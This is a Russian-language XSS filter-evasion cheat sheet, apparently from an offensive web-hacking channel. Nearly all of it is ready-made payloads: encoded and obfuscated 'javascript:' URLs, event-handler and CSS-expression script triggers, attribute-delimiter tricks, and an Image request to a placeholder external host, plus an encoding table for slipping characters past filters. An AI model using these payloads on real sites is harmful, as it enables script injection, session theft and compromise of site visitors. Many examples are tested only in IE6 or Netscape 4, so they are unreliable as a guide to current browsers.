Справочник по XSS
Особенности синтаксиса HTML в проведении XSS атак.
Один из основных методов защиты сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы.
В данной заметке описаны особенности синтаксиса HTML, позволяющие обходить эти фильтры.
Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать.
Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ ограничителем.
<li>Разделители атрибутов тега.
Помимо пробела, можно использовать символы:
слеш(<strong>/</strong>), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.
<image/src="1.png"/alt="Подсказка"/border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png"alt="Подсказка"border="0">
<li>Ограничители атрибутов тега
Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
<image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0">
<li>Кодировки символов
Расшифровка символов в скрипте происходит <em>до</em> его выполнения:
<img src=javascript:alert(&quot;ok&quot;)> <img src=javascript:alert(&#039;ok&#039;)> <img src=&#106&#97&#118&#97&#115&#99& #114&#105&#112&#116&#58&#97&#108& #101&#114&#116&#40&#39&#111&#107& #39&#41> <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте <strong>href</strong>)
<li>Ограничители символьных литералов в скриптах
<img src=javascript:alert('ok')> <img src=javascript:alert("ok")> <img src=javascript:a=/ok/;alert(a.source)> <img src=javascript:alert(String.fromCharCode(111,107))>
<li>Обход фильтрации некоторых символов
<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
<li>Способы запуска скриптов
Несколько способов автоматического запуска скриптов:
<script>alert('ok')</script> <script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(alert('ok'))></span> <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз) <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')> (только в IE) <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке) <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке) <br SIZE="&{alert('XSS')}"> (только Netscape 4.x)
<li>Различные скриптовые протоколы, способы их написания
<img src=javascript:alert()> <img src=vbscript:AleRt()> <img src=JaVasCriPt:alert()> <img src=" javascript:alert()"> (пробелы до слова javascript) <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()> <img src=javascript&#9:alert()> <img src=javascript&#10:alert()> <img src=javascript&#13:alert()> <img src="javascript :alert()"> (перед двоеточием - символ табуляции) <img src="java scri pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки)
<li>Вставки скриптов в <strong>style</strong>
Операторы скрипта в атрибуте<strong> style</strong> нужно разделять "<strong>\;</strong>".
<hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
<image src="1.png" alt="" border="0"> (тег img и image работают одинаково) <plaintext> (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML) <textarea> (все, что будет идти после этого тега, будет восприниматься как обычный текст - не HTML) <xml> (все, что будет идти после этого тега, не будет отображаться)
<li>Таблица часто применяемых кодов:
<TABLE border="1" cellPadding=2 cellSpacing=0>
<TR>
<TD><STRONG>Символ</STRONG></TD>
<TD><STRONG>Десятичная кодировка</STRONG> </TD>
<TD><STRONG>16-ая кодировка*</STRONG> </TD>
<TD><STRONG>Символьная кодировка</STRONG> </TD>
<TD><STRONG>URL-кодировка</STRONG></TD></TR>
<TR>
<TD>"</TD>
<TD>&#34</TD>
<TD>&#x22;</TD>
<TD>&quot</TD>
<TD>%22</TD></TR>
<TR>
<TD>'</TD>
<TD>&#39</TD>
<TD>&#x27;</TD>
<TD> </TD>
<TD>%27</TD></TR>
<TR>
<TD>`</TD>
<TD>&#96</TD>
<TD>&#x60;</TD>
<TD> </TD>
<TD>%60</TD></TR>
<TR>
<TD><пробел></TD>
<TD>&#32</TD>
<TD>&#x20;</TD>
<TD> </TD>
<TD>+</TD></TR>
<TR>
<TD><табуляция></TD>
<TD>&#9</TD>
<TD>&#x09;</TD>
<TD> </TD>
<TD>%09</TD></TR>
<TR>
<TD><возврат каретки></TD>
<TD>&#13</TD>
<TD>&#x0D;</TD>
<TD> </TD>
<TD>%0D</TD></TR>
<TR>
<TD>=</TD>
<TD>&#61</TD>
<TD>&#x3D;</TD>
<TD> </TD>
<TD>%3D</TD></TR>
<TR>
<TD><</TD>
<TD>&#60</TD>
<TD>&#x3C;</TD>
<TD>&lt</TD>
<TD>%3C</TD></TR>
<TR>
<TD>></TD>
<TD>&#62</TD>
<TD>&#x3E;</TD>
<TD>&gt</TD>
<TD>%3E</TD></TR>
<TR>
<TD>\</TD>
<TD>&#92</TD>
<TD>&#x5C;</TD>
<TD> </TD>
<TD>%5C</TD></TR>
<TR>
<TD>%</TD>
<TD>&#37</TD>
<TD>&#x25;</TD>
<TD> </TD>
<TD>%25</TD></TR>
<TR>
<TD>+</TD>
<TD>&#43</TD>
<TD>&#x2B;</TD>
<TD> </TD>
<TD>%2B</TD></TR>
<TR>
<TD><короткий дефис> </TD>
<TD>&#173</TD>
<TD>&#xAD;</TD>
<TD>&shy</TD>
<TD>%AD</TD></TR>
<TR>
<TD>&</TD>
<TD>&#38</TD>
<TD>&#x26;</TD>
<TD>&amp</TD>
<TD>%26</TD></TR></TABLE>
*-в некоторых случаях точку с запятой
можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке).
Наш канал - https://t.me/webhack_kakao